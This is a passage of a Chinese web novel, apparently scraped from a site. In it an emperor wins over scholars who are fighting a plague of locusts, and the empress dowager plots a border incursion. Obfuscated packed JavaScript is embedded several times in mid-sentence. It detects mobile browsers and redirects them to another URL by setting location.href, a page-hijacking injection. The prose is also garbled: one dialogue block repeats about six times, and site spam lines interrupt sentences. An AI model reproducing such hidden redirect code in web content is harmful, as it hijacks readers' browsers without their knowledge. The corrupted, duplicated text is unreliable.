丫鬟愣了一下,看向薛嘉言。 薛嘉言没有说话,只是轻轻点了点头。 丫鬟应了一声,转身去了。 第317章 灭蝗 院子里再次安静下来,可那安静,和方才不一样了。 吕氏站起身,走到廊下,背对着薛嘉言,她的肩膀微微发抖。 薛嘉言看着她,心里五味杂陈,她知道娘心里在想什么。 自从母亲搬到她这里来之后,父亲隔三岔五就会过来,娘并不是每次都会见他,爹时常会带些礼品来,想讨母亲的欢心。 可自从她与姜玄的事情闹得沸沸扬扬,大臣进谏,士子跪谏这些事情发生的时候,父亲一次也没有来过。 薛嘉言太了解父亲了,他从来都是个善于逃避的人,遇到麻烦,从来不会想着去解决,只会一味地逃避,静待事情发展,不管最后是什么结果,只要有结果,他就会接受。 他这辈子,唯一尽力去争取的,恐怕就只有母亲的平妻之位。 从前薛嘉言看不透,觉得他是真心疼母亲,可如今她才明白,他那般努力,不仅仅是为了母亲,更是为了他自己。 若是没有给母亲争到平妻之位,没有别府另过,他就得回到肃国公府,面对着对他耳提面命、催他上进的高氏,过那种身不由己的日子。 薛嘉言轻声安慰道:“娘,您别生气,不值得为他气坏了身子。往后,有我,有孩子们,咱们好好过日子。” 而此时的通州郊外,却是另一番景象。 先前在午门跪谏的士子们,被姜玄派来的禁军送到此处灭蝗,已然熬过了两日。 田埂间,蝗虫漫天飞舞,黑压压的一片。 士子们个个脸上沾着泥土与蝗虫的残翅,汗水顺着脸颊滑落,混着泥土淌进衣领,又痒又疼。 一名士子拄着手中的竹扫帚,双腿发软地瘫坐在田埂上,声音里满是怨怼与疲惫,“我们不过是为了礼教纲常,为了天下风气,陛下倒好,不仅不纳谏,还把我们发配到这荒郊野外,受这份罪!” 这话一出,周遭的士子们纷纷附和,个个面带愤懑,却又无力反抗。 “就是!我们寒窗苦读十余年,本想为天下苍生**,没想到竟落得这般下场,真是寒心!” “虽事情另有隐情,可咱们的心毕竟是好的,陛下不分青红皂白,竟如此折辱咱们……” 抱怨声、怒骂声此起彼伏,士子们累得要死要活,心中的怨怼更是愈积愈深,连手中的活计都慢了下来。 燕奉已经不记得自己拍了多少只蝗虫了。 他只知道,每挥舞一下扫帚,胳膊就疼一下。每走一步,腿就酸一下。每喘一口气,喉咙就辣一下。 你的朋友正在书荒,快去帮帮他吧 蝗虫太多了,多得像永远拍不完,多得像老天爷在惩罚他们。 他直起腰,看着一地瘫坐的同窗们。 他没有跟着同窗们一起抱怨,不是不想,而是不敢。 想起那些愚蠢的口号,那些无知的愤怒,那些被人当枪使的热血。 燕奉就会觉得,这点苦,该他受。 忽然—— 远处传来马蹄声。 所有人抬起头。 只见一队人马从官道上缓缓行来,为首的,是一匹白马。 马上的人,穿着一身玄色骑装,头戴玉冠,瞧着是位年轻英俊的王孙公子。 燕奉的手一抖,扫帚差点掉在地上,他认出此人了。 是皇帝。 姜玄勒住马,翻身下地。 他的身后只跟着几个侍卫,没有仪仗,没有排场,就像个普通来巡视的官员。 姜玄站在田埂上,看着那些满身狼狈的士子们。 目光从一张张脸上扫过。 有疲惫,有惊讶,有戒备,还有一丝不易察觉的……怨怼。 毕竟,是他让他们来灭蝗的,毕竟,是他让他们受这些苦的。 姜玄没有说话,他只是站在那里,静静地看着。 燕奉等人连忙放下扫帚,就要跪下行礼。 姜玄摆了摆手。 “不必了。” 他的声音不高,却清清楚楚传进每个人耳中: “朕不是来受礼的。是来看看,你们是怎么灭蝗的。” 姜玄走到田边,蹲下来,看着那些密密麻麻的蝗虫。 “这东西,朕只在奏折里见过。今日亲眼看见,才知道什么叫‘飞蔽天日’。” 他抬起头,看向燕奉。 “燕举人,你来了两日了。告诉朕,你们是怎么扑蝗的?” 燕奉的喉咙动了动。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300988|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到皇帝会认识他,也没想到皇帝先问的,是这个。 他张了张嘴,有些结巴地答道: “回……回陛下,我们先用扫帚拍打。拍**的,就地掩埋。后来发现掩埋太慢,就集中起来,挖坑焚烧。” 姜玄点了点头。 “还有呢?” 燕奉想了想。 “早上露水重的时候,蝗虫飞不动,最好扑杀。中午日头毒,它们飞得高,拍不着,我们就去挖田埂,把藏在土里的幼虫刨出来。” 姜玄听着,目光里露出一丝赞许。 “你们倒是学得快。” 燕奉低 你的朋友正在书荒,快去帮帮他吧 下头。 “是……是当地老农教的。” 姜玄笑了,他跳下田埂,走到田里来,走到士子们中间。 所有人都愣住了。 只见皇帝一步一步走进田里,走到燕奉面前。 姜玄随手捡了把扫帚,看准一片飞舞的蝗虫,准确地扑了下去。 “啪!” 一些蝗虫被压倒在扫帚下挣扎的,一些则从夹缝里艰难逃生。 那些士子们呆呆地看着他。 看着那个他们曾经跪着求他**的皇帝,看着那个他们骂了无数遍“昏君”的男人,此刻,用一把破扫帚,和他们一起扑蝗。 燕奉走过去。 “陛下……” 姜玄没有回头。 他只是继续拍着蝗虫。 众人呆呆的看着这一幕,过了好一会,姜玄终于停下动作。 他直起腰,转过身看着燕奉。 他的脸上和身上都沾染了不少脏污,手里还握着那把扫帚,没有丝毫的嫌弃。 “燕奉,你知道,为什么会有蝗灾吗?” 燕奉愣住了。 姜玄扫视着那些士子们。 “天旱,地干,蝗虫就生。这是自然之理。《诗经》里有‘去其螟螣,及其蟊贼’,《汉书》里有‘蝗虫大起,飞蔽天’。蝗灾,自古以来就有。” 他顿了顿。 “可你们知道,百姓最怕的是什么吗?” 士子们面面相觑,斟酌着该怎么回答。 第318章 热血又单纯 姜玄并没有等他们的答案,他大声道:“百姓们最怕的不是蝗灾本身。是天灾来了,还要被说成是‘人祸’。” 他的声音不高,却字字清晰: “蝗虫来了,就说是某个人‘妖星祸国’。洪水来了,就说是某个人‘失德招灾’。旱灾来了,就说是某个人‘触怒上天’。” “那个人是谁?是薛氏。是朕。是随便一个可以被拿出来当靶子的人。” 他看着那些士子们。 “可杀了那个人,蝗灾就会消失吗?” 没有人说话。 姜玄摇了摇头。 “不会。” “该饿死的,还是会饿死。该流离失所的,还是会流离失所。该颗粒无收的,还是颗粒无收。” 他把那把扫帚放回燕奉手里。 “你们读了这么多年书,学了这么多道理。可你们有没有想过,什么是真正的为百姓谋福祉?” 燕奉的嘴唇动了动,想要辩解,却发不出声音。 姜玄看着他,眼神中既有责备,更有痛惜: “不是跪在午门外喊口号! 不是把灾祸栽赃到一个人头上,以此显得自己清高! 不是把自己当成正义的化身,踩着别人的血肉往上爬!” 他猛地转身,指向不远处那些正在田间忙碌的百姓——他们皮肤黝黑,衣衫褴褛,却在一丝不苟地挖沟、捕虫,没有人抱怨,只有求生的本能。 “是像现在这样—— 站在泥地里,跟百姓受一样的苦,流一样的汗! 是弯下腰,去想想怎么才能为他们解决眼下的困境,而不是动动嘴皮子就要人性命!” 姜玄顿了顿,声音沉了下来,却重如千钧: “这才是你们将来要做的事。” 姜玄环视了一圈那些年轻的面孔。他们满脸泥点,汗水冲刷出一道道白痕,眼神中原本的怨怼正在一点点瓦解,取而代之的是一种迷茫后的震动。 “朕知道,你们是被蒙蔽的。” 他的声音不高,却清清楚楚传进每个人耳中,带着一种奇异的安抚力量: “有人利用你们的正义感,有人把你们当成枪使。 他们告诉你们,薛氏是妖妇,杀了她就能消灾。 他们告诉你们,朕是昏君,不听你们的就是昏聩。 你们做得是正义之事,必将青史留名。” 他顿了顿。 “朕不怪你们。” 那些士子们的眼睛,开始发亮。 姜玄继续道: “你们热血,是因为你们爱护大兖;你们愤怒,是因为你们追求正义;你们跪在午门外,是因为你们相信,这个天下应该有公道。” “这些,都没有错。” 他的声音忽然拔高: “可你们要学会分辨——什么是真正的正义!要学会看清楚,那些让你们热血沸腾的话,背后站着什么人。他们要的,到底是什么。” 他看着那些年轻的、满是泥点子却开始发光的面孔。 “朕相信,你们将来一定能成为大兖朝的栋梁。” “朕相信,你们会让大兖变得更好。” “朕相信,今天你们在这里吃的苦,受得累,会让你们明白什么是真正的为民之道。” 那些士子们站在那里,一动不动。 风掠过田野,吹干了他们脸上的汗水,却吹不灭眼中的火。 他们的眼睛,越来越亮,像是有火在烧,那是信仰重塑后的光芒。 燕奉忽然跪下。 “陛下!” 他的声音发颤。 “臣……学生从前愚钝,被人蒙蔽,差点做出不可挽回之事。今日得陛下亲临田间,亲身教诲,学生……学生……” 他说不下去了。 只是伏在地上,重重磕了一个头。 接着是**。 接着是申元恺。 …… 一个接一个,跪了下去。 可这一次,不是怨怼。 是心悦诚服。 姜玄站在那里,看着他们。 “都起来。” 他的声音不高,却带着一种让人无法抗拒的力量。 “灭完蝗,回京好好读书。往**了仕,别忘了今天这片田,要永远记得这几日的事情,学会明辨是非,方可成为明臣。” 那些人站起来。 看着皇帝。 看着那个曾经被他们骂成“昏君”的人。 此刻,在他们眼里,光芒万丈。 “是!学生们定不负陛下期待!” 田埂尽头,一棵老槐树下,苗菁负手而立,薄广站在他身侧,眯着眼睛看着远处田间的那一幕——皇帝正握着扫帚,和那些士子们一起畅谈。 “这些士子,”薄广轻声感叹,嘴角带着一丝玩味,“还真是热血又单纯,三两句话就让他们热血沸腾了。” 苗菁轻笑一声,“若不是如此,怎么会被人选中当枪使?那位看中的,不就是他们这股子‘ 虽千万人,吾往矣’的傻劲吗?” 薄广点了点头,神色凝重起来: “也是。那一位不就是看中了他们这一点,才让人去煽动的吗?本想借刀**,没想到……”他看向姜玄的方向,眼底满是敬佩,“皇上这一手,真是好计谋。” 苗菁道:“不过也好,经此一事,他们也算得了教训。待日后走上政途,历经朝堂风雨,便不会再这般单纯可欺,只是到了那时,这份纯粹的热血,恐怕也会被磨得所剩无几了。” 薄广深以为然地点了点头,又看向姜玄的方向,眼底满是敬佩:“皇上这一手,真是好计谋。先是在午门前当众澄清薛主子的冤屈,让这些士子心中先生出愧疚;再将他们打发到这里灭蝗,劳其体肤、磨其心性,等他们困乏至极、怨怼难平之时,陛下再亲自前来,出言安慰、循循善诱,一番鼓动之下,这些士子们自然心服口服,往后怕是要彻底俯首称臣,为陛下所用了。” 苗菁冷嗤一声,“那位想利用士子,让陛下失了天下读书人的心。陛下岂能让她如愿?” 薄广笑了笑道:“大人,那位此刻,只怕气得不行了吧?” 苗菁的嘴角弯得更深了些,“听说好几日没出宫门了。外命妇的求见,一个都没见。” 薄广啧啧两声,“那些外命妇里,必有杨氏。杨氏这会,估计肠子都悔青了。好好的,非要去掺和这事。现在好了,满盘皆输,还把自己搭进去了。” 苗菁依旧没有说话,只是看着远处。 薄广又问: “大人,如何处置杨氏?” 苗菁沉默了片刻。 然后他眯了眯眼睛。 “不着急。覆巢之下,焉有完卵。” 薄广凝神细听 苗菁继续道: “高家都快不行了,一个杨氏,算得了什么?” 虽千万人,吾往矣’的傻劲吗?” 薄广点了点头,神色凝重起来: “也是。那一位不就是看中了他们这一点,才让人去煽动的吗?本想借刀**,没想到……”他看向姜玄的方向,眼底满是敬佩,“皇上这一手,真是好计谋。” 苗菁道:“不过也好,经此一事,他们也算得了教训。待日后走上政途,历经朝堂风雨,便不会再这般单纯可欺,只是到了那时,这份纯粹的热血,恐怕也会被磨得所剩无几了。” 薄广深以为然地点了点头,又看向姜玄的方向,眼底满是敬佩:“皇上这一手,真是好计谋。先是在午门前当众澄清薛主子的冤屈,让这些士子心中先生出愧疚;再将他们打发到这里灭蝗,劳其体肤、磨其心性,等他们困乏至极、怨怼难平之时,陛下再亲自前来,出言安慰、循循善诱,一番鼓动之下,这些士子们自然心服口服,往后怕是要彻底俯首称臣,为陛下所用了。” 苗菁冷嗤一声,“那位想利用士子,让陛下失了天下读书人的心。陛下岂能让她如愿?” 薄广笑了笑道:“大人,那位此刻,只怕气得不行了吧?” 苗菁的嘴角弯得更深了些,“听说好几日没出宫门了。外命妇的求见,一个都没见。” 薄广啧啧两声,“那些外命妇里,必有杨氏。杨氏这会,估计肠子都悔青了。好好的,非要去掺和这事。现在好了,满盘皆输,还把自己搭进去了。” 苗菁依旧没有说话,只是看着远处。 薄广又问: “大人,如何处置杨氏?” 苗菁沉默了片刻。 然后他眯了眯眼睛。 “不着急。覆巢之下,焉有完卵。” 薄广凝神细听 苗菁继续道: “高家都快不行了,一个杨氏,算得了什么?” 虽千万人,吾往矣’的傻劲吗?” 薄广点了点头,神色凝重起来: “也是。那一位不就是看中了他们这一点,才让人去煽动的吗?本想借刀**,没想到……”他看向姜玄的方向,眼底满是敬佩,“皇上这一手,真是好计谋。” 苗菁道:“不过也好,经此一事,他们也算得了教训。待日后走上政途,历经朝堂风雨,便不会再这般单纯可欺,只是到了那时,这份纯粹的热血,恐怕也会被磨得所剩无几了。” 薄广深以为然地点了点头,又看向姜玄的方向,眼底满是敬佩:“皇上这一手,真是好计谋。先是在午门前当众澄清薛主子的冤屈,让这些士子心中先生出愧疚;再将他们打发到这里灭蝗,劳其体肤、磨其心性,等他们困乏至极、怨怼难平之时,陛下再亲自前来,出言安慰、循循善诱,一番鼓动之下,这些士子们自然心服口服,往后怕是要彻底俯首称臣,为陛下所用了。” 苗菁冷嗤一声,“那位想利用士子,让陛下失了天下读书人的心。陛下岂能让她如愿?” 薄广笑了笑道:“大人,那位此刻,只怕气得不行了吧?” 苗菁的嘴角弯得更深了些,“听说好几日没出宫门了。外命妇的求见,一个都没见。” 薄广啧啧两声,“那些外命妇里,必有杨氏。杨氏这会,估计肠子都悔青了。好好的,非要去掺和这事。现在好了,满盘皆输,还把自己搭进去了。” 苗菁依旧没有说话,只是看着远处。 薄广又问: “大人,如何处置杨氏?” 苗菁沉默了片刻。 然后他眯了眯眼睛。 “不着急。覆巢之下,焉有完卵。” 薄广凝神细听 苗菁继续道: “高家都快不行了,一个杨氏,算得了什么?” 虽千万人,吾往矣’的傻劲吗?” 薄广点了点头,神色凝重起来: “也是。那一位不就是看中了他们这一点,才让人去煽动的吗?本想借刀**,没想到……”他看向姜玄的方向,眼底满是敬佩,“皇上这一手,真是好计谋。” 苗菁道:“不过也好,经此一事,他们也算得了教训。待日后走上政途,历经朝堂风雨,便不会再这般单纯可欺,只是到了那时,这份纯粹的热血,恐怕也会被磨得所剩无几了。” 薄广深以为然地点了点头,又看向姜玄的方向,眼底满是敬佩:“皇上这一手,真是好计谋。先是在午门前当众澄清薛主子的冤屈,让这些士子心中先生出愧疚;再将他们打发到这里灭蝗,劳其体肤、磨其心性,等他们困乏至极、怨怼难平之时,陛下再亲自前来,出言安慰、循循善诱,一番鼓动之下,这些士子们自然心服口服,往后怕是要彻底俯首称臣,为陛下所用了。” 苗菁冷嗤一声,“那位想利用士子,让陛下失了天下读书人的心。陛下岂能让她如愿?” 薄广笑了笑道:“大人,那位此刻,只怕气得不行了吧?” 苗菁的嘴角弯得更深了些,“听说好几日没出宫门了。外命妇的求见,一个都没见。” 薄广啧啧两声,“那些外命妇里,必有杨氏。杨氏这会,估计肠子都悔青了。好好的,非要去掺和这事。现在好了,满盘皆输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300989|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还把自己搭进去了。” 苗菁依旧没有说话,只是看着远处。 薄广又问: “大人,如何处置杨氏?” 苗菁沉默了片刻。 然后他眯了眯眼睛。 “不着急。覆巢之下,焉有完卵。” 薄广凝神细听 苗菁继续道: “高家都快不行了,一个杨氏,算得了什么?” 虽千万人,吾往矣’的傻劲吗?” 薄广点了点头,神色凝重起来: “也是。那一位不就是看中了他们这一点,才让人去煽动的吗?本想借刀**,没想到……”他看向姜玄的方向,眼底满是敬佩,“皇上这一手,真是好计谋。” 苗菁道:“不过也好,经此一事,他们也算得了教训。待日后走上政途,历经朝堂风雨,便不会再这般单纯可欺,只是到了那时,这份纯粹的热血,恐怕也会被磨得所剩无几了。” 薄广深以为然地点了点头,又看向姜玄的方向,眼底满是敬佩:“皇上这一手,真是好计谋。先是在午门前当众澄清薛主子的冤屈,让这些士子心中先生出愧疚;再将他们打发到这里灭蝗,劳其体肤、磨其心性,等他们困乏至极、怨怼难平之时,陛下再亲自前来,出言安慰、循循善诱,一番鼓动之下,这些士子们自然心服口服,往后怕是要彻底俯首称臣,为陛下所用了。” 苗菁冷嗤一声,“那位想利用士子,让陛下失了天下读书人的心。陛下岂能让她如愿?” 薄广笑了笑道:“大人,那位此刻,只怕气得不行了吧?” 苗菁的嘴角弯得更深了些,“听说好几日没出宫门了。外命妇的求见,一个都没见。” 薄广啧啧两声,“那些外命妇里,必有杨氏。杨氏这会,估计肠子都悔青了。好好的,非要去掺和这事。现在好了,满盘皆输,还把自己搭进去了。” 苗菁依旧没有说话,只是看着远处。 薄广又问: “大人,如何处置杨氏?” 苗菁沉默了片刻。 然后他眯了眯眼睛。 “不着急。覆巢之下,焉有完卵。” 薄广凝神细听 苗菁继续道: “高家都快不行了,一个杨氏,算得了什么?” 虽千万人,吾往矣’的傻劲吗?” 薄广点了点头,神色凝重起来: “也是。那一位不就是看中了他们这一点,才让人去煽动的吗?本想借刀**,没想到……”他看向姜玄的方向,眼底满是敬佩,“皇上这一手,真是好计谋。” 苗菁道:“不过也好,经此一事,他们也算得了教训。待日后走上政途,历经朝堂风雨,便不会再这般单纯可欺,只是到了那时,这份纯粹的热血,恐怕也会被磨得所剩无几了。” 薄广深以为然地点了点头,又看向姜玄的方向,眼底满是敬佩:“皇上这一手,真是好计谋。先是在午门前当众澄清薛主子的冤屈,让这些士子心中先生出愧疚;再将他们打发到这里灭蝗,劳其体肤、磨其心性,等他们困乏至极、怨怼难平之时,陛下再亲自前来,出言安慰、循循善诱,一番鼓动之下,这些士子们自然心服口服,往后怕是要彻底俯首称臣,为陛下所用了。” 苗菁冷嗤一声,“那位想利用士子,让陛下失了天下读书人的心。陛下岂能让她如愿?” 薄广笑了笑道:“大人,那位此刻,只怕气得不行了吧?” 苗菁的嘴角弯得更深了些,“听说好几日没出宫门了。外命妇的求见,一个都没见。” 薄广啧啧两声,“那些外命妇里,必有杨氏。杨氏这会,估计肠子都悔青了。好好的,非要去掺和这事。现在好了,满盘皆输,还把自己搭进去了。” 苗菁依旧没有说话,只是看着远处。 薄广又问: “大人,如何处置杨氏?” 苗菁沉默了片刻。 然后他眯了眯眼睛。 “不着急。覆巢之下,焉有完卵。” 薄广凝神细听 苗菁继续道: “高家都快不行了,一个杨氏,算得了什么?” 虽千万人,吾往矣’的傻劲吗?” 薄广点了点头,神色凝重起来: “也是。那一位不就是看中了他们这一点,才让人去煽动的吗?本想借刀**,没想到……”他看向姜玄的方向,眼底满是敬佩,“皇上这一手,真是好计谋。” 苗菁道:“不过也好,经此一事,他们也算得了教训。待日后走上政途,历经朝堂风雨,便不会再这般单纯可欺,只是到了那时,这份纯粹的热血,恐怕也会被磨得所剩无几了。” 薄广深以为然地点了点头,又看向姜玄的方向,眼底满是敬佩:“皇上这一手,真是好计谋。先是在午门前当众澄清薛主子的冤屈,让这些士子心中先生出愧疚;再将他们打发到这里灭蝗,劳其体肤、磨其心性,等他们困乏至极、怨怼难平之时,陛下再亲自前来,出言安慰、循循善诱,一番鼓动之下,这些士子们自然心服口服,往后怕是要彻底俯首称臣,为陛下所用了。” 苗菁冷嗤一声,“那位想利用士子,让陛下失了天下读书人的心。陛下岂能让她如愿?” 薄广笑了笑道:“大人,那位此刻,只怕气得不行了吧?” 苗菁的嘴角弯得更深了些,“听说好几日没出宫门了。外命妇的求见,一个都没见。” 薄广啧啧两声,“那些外命妇里,必有杨氏。杨氏这会,估计肠子都悔青了。好好的,非要去掺和这事。现在好了,满盘皆输,还把自己搭进去了。” 苗菁依旧没有说话,只是看着远处。 薄广又问: “大人,如何处置杨氏?” 苗菁沉默了片刻。 然后他眯了眯眼睛。 “不着急。覆巢之下,焉有完卵。” 薄广凝神细听 苗菁继续道: “高家都快不行了,一个杨氏,算得了什么?” 第319章 半真半假 十月的京城,夜色已凉。 长宜宫内,姜玄从通县归来,洗漱完毕,换上一身宽松的常服,正打算歇口气,内侍陆怀轻手轻脚地走了进来。 “陛下,长公主……又来了。 “这是今日第三次了,公主殿下说了,皇上要是不见她,她就一直等着。陆怀补充道。 自从午门那日事后,长公主连续三日都来宫中求见。 姜玄揉了揉发胀的太阳穴,眉宇间掠过一丝烦躁。 他知道长公主来是为了什么——无非是苗菁说的那些话,让她成了京城茶余饭后的笑柄。 “罢了。姜玄叹了口气,挥了挥手,“让她进来吧。 片刻后,一阵香风伴着急促的脚步声卷入殿内。 长公主身着一身华服,头戴金翠,一双眼尾上挑的桃花眼,此刻瞪得圆圆的,满是委屈与怒火。 她见了姜玄,规矩地行了个礼,不等姜玄赐座,就自个儿挪到了下首的软榻上,一坐下便开启了连珠炮似的埋怨: “皇上,您也不能这么欺负人吧? 为了您的心上人,便拿我做筏子,让苗菁满世界编排我的闲话! 我这名声还要不要了?往后我还怎么在京城混? 姜玄端起茶盏,掩住嘴角的笑意,心中暗道皇姐,您还有什么名声可言? “皇姐息怒。怕是锦衣卫那边查得不仔细,听信了市井流言,倒叫皇姐受委屈了。朕回头定当好好训斥他们。 长公主咬了咬牙,她心里跟明镜似的,这哪是什么流言,分明是苗菁那个冷面阎王在报复她之前的挑衅! 她不敢骂皇上,只能把火撒在臣子身上: “皇上,您也太纵着苗大人了!他这样糟践我的名声,把我说得像个……像个不知检点的妇人!我可不依,您得给我个交代! 姜玄喝了一口茶,放下茶盏,淡淡道:“皇姐想要什么交代?戚少亭,是不是总往你府上跑? 长公主身子一僵,眼神飘忽了一下,强辩道: “他……他帮我修复字画…… “是吗? 朕听说,你曾让他侍寝,又嫌他表现不佳,把人骂了一顿赶了出来?可有此事? 长公主的脸瞬间涨成了猪肝色,红一阵白一阵,精彩至极。 她嗫嚅着,声音小得像蚊子哼: “这……这不是……没成吗…… 姜玄似笑非笑 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 地看着她: “倘若他是个有用的,是不是也就成事了?那苗菁所言之事,也算不得构陷吧。” 长公主被噎得说不出话来,只能死死咬着嘴唇。 苗菁办这事之前特意跟姜玄汇报过:“陛下,此事半真半假,最适合拿来做文章。香艳之事,百姓最爱传播,众人的视线便会从薛主子身上移开,转而津津乐道于长公主的风流韵事。此乃‘围魏救赵’之策。只是此事定会有损长公主的名声,臣不敢做主。” 为了护住薛嘉言,也为了敲打这个不安分的皇姐,姜玄同意了这个提议,现在他自然要护着苗菁。 长公主心中生怒,却又不敢发作,只能眼圈一红,挤出几滴眼泪:“好好好!反正苗大人仗着皇上的势,随意欺辱我! 我这个长公主做着还有什么意思?还不如寻常百姓家的女子自在呢!起码人家不用被人这样欺负!” 姜玄看着她那副做作的模样,无奈地摇了摇头,蹙眉道:“寻常百姓? 寻常百姓能住你那占地百亩的大宅子? 能穿你身上这件价值千金的云锦衣裳? 能日日山珍海味,奴仆成群? 皇姐,别说气话了。此事的确有些委屈你,但也算是替朕分忧。 朕答应你,只要你不惹事,安分守己,等到年底的时候,朕把你的封地再扩大一些。 把周边的清河县、安平县,也都划给你做食邑。” 这话一出,效果立竿见影。 长公主脸上的委屈瞬间烟消云散,眼泪还挂在睫毛上,嘴角已经翘起来了。 她立马站起身,福了一礼,“多谢陛下!陛下圣明!这样也好,有了那两个县,陛下的‘庄稼’便可种得再多些,收成肯定更好!” 姜玄想了想,淡淡道: “暂时不必扩大规模。贵精不贵多。” 长公主连连称是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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长乐宫内烛火摇曳空气中弥漫着淡淡的檀香太后面色阴沉如水拈了几根香**香炉里嘴里念念有词。 太后念了一会佛经起身走到寝殿内寻到暗格取出了那个檀木匣子。 她双眼死死盯着手里那个紫檀木匣子指尖在匣盖上缓缓摩挲 沁芳侍立在一旁大气都不敢喘小心翼翼奉上一盏热茶。茶水轻晃映出太后那张晦暗不明的脸。 良久太后终于开口声音沙哑: “沁芳。” “婢子在。”沁芳身子一颤。 “去跟言舟说上次的事情没办好让哀家失了颜面。不过哀家念在他多年效力的份上再给他一次机会将功折罪。” 太后猛地抬起头眼中闪过一丝狠厉的幽光: “让他明日即刻启程去万全右卫。天冷了北边的风硬了两边贸易频繁人流混杂……让他想法子把那潭水给我搅浑了!我要他挑拨朵颜部让他们动起来最好……打进关来!" 沁芳面色惨白惊恐地抬头:“娘娘!此事万万不可啊!引狼**乃是祸国殃民的大罪!一旦朵颜部入关百姓生灵涂炭这……这要是传出去太后您……” “有何不可?!” 太后冷冷打断嘴角勾起一抹狰狞的笑意:“蓟州卫就在附近到时候哥哥名正言顺地去‘支援’就是了。以哥哥的本事难道还控不住局面?必不会真的让朵颜部打进来不过是演一出‘外敌入侵大将救场’的戏码罢了!” 沁芳急得后背出了一层汗小心劝道:“娘娘可是万全右卫的朱同济朱将军乃是一位成名已久的名将治军严明勇冠三军。即便朵颜部真的进犯朱将军应该也有本事把他们打回去的。” 太后眸色愈发幽深像是一口吞噬人心的枯井。 她低低地笑了起来笑声让人毛骨悚然: “朱同济是可以。可是其他人未必可以。” 她顿了顿幽幽道:“万全右卫的指挥同知阮景明是宋襄的旧友两人私交甚笃。你让宋襄想办法说动阮景明给朱同济……下点药。让他病倒在床上不了战场。 没了主将的万全右卫就是一群待宰的羔羊。到时候除了我哥哥谁还能救得了大局?” 沁芳心跳如鼓只觉得一股凉气从脚底直冲天灵盖。 她颤声道:“娘娘阮景明已经身居高位前途无 你的朋友正在书荒,快去帮帮他吧 量,只怕……不是那么容易被说动的。若是他拒绝,或者反手举报……” “是人都有弱点,只要有欲望,就有软肋。” 太后冷笑一声,眼中满是轻蔑: “只要抓住弱点,没有说不动的人。宋襄跟他熟悉,最清楚他的底细。这件事,非宋襄去办不可。告诉他,这是为了宋家的将来,也是为了他自己。” 沁芳知道太后已经疯了,被前些日子的事气狠了,这才想要行此险招。 她不得不硬着头皮,再次劝道:“娘娘,此事若泄露出去,哪怕只是一丝风声,只怕对宋家的名声大为不利,甚至会落下‘通敌叛国’的骂名。娘娘请三思啊!这可是要掉脑袋的!” 太后眼中燃烧着疯狂的火焰:“做机密些,不要露出马脚就是! 他不是要削宋家的权吗?我让他看看,没有宋家,边关不稳,烽火连天,他这个皇位还做不做得稳!” 她低声劝道:“娘娘,即便大将军去把万全右卫的朵颜部打回去,也不过是辛苦一场,陛下不可能让大将军执掌两卫的,你又何必……” 太后道:“大将军不行,还可以另选其他人来。我宋家又不是没人了。 密云卫指挥使是宋靖,若是万全右卫也在宋家手里,再加上蓟州卫…… 京畿六卫,一半都在我们掌握之中!到时候……” 沁芳心砰砰跳得厉害,几乎要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304445|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从嗓子眼里蹦出来。 她刚想开口,却见太后忽然眯起眼睛,话题陡然一转,声音变得飘忽不定: “对了,井月上次说,观星台查到康王还有个孩子?此事可当真?” 沁芳一愣,连忙收敛心神,回道: “回娘娘,井月说是王府内一名侍女所生,一直藏在民间。那孩子相貌与康王爷有几分相似,经过多方查证,应该的确是王爷的血脉。” 太后若有所思,手指轻轻敲打着那个檀木匣子,嘴角慢慢浮现出一抹意味深长的笑意。 她转过身,背对着沁芳,声音低沉而充满诱惑: “让井月去安排一下,隐秘些。哀家,想见见那孩子。" 窗外,寒风骤起,吹得窗棂吱呀作响。 沁芳伏在地上,浑身冰冷,她知道,自那个夜之后,太后便疯了,朝着魔的道路一路走下去了。 转眼到了十月末,京城的秋意已浓,银杏叶铺满了长街,金黄一片。 这正是苗菁与郭晓芸成亲的大喜日子。 为了这场婚礼,苗菁足足筹备了半年。他事无巨细地过问每一个环节。从请柬的纸张到宴席的菜品,从花轿的纹饰到喜糖的口味,他都要亲自过目。 许是老天爷也被苗菁这份诚意打动,前一日还阴沉沉压着乌云,仿佛要落雨,可到了正日子,云开雾散,艳阳高照,金色的阳光洒在红墙绿瓦上,映得整个京城都喜气洋洋。 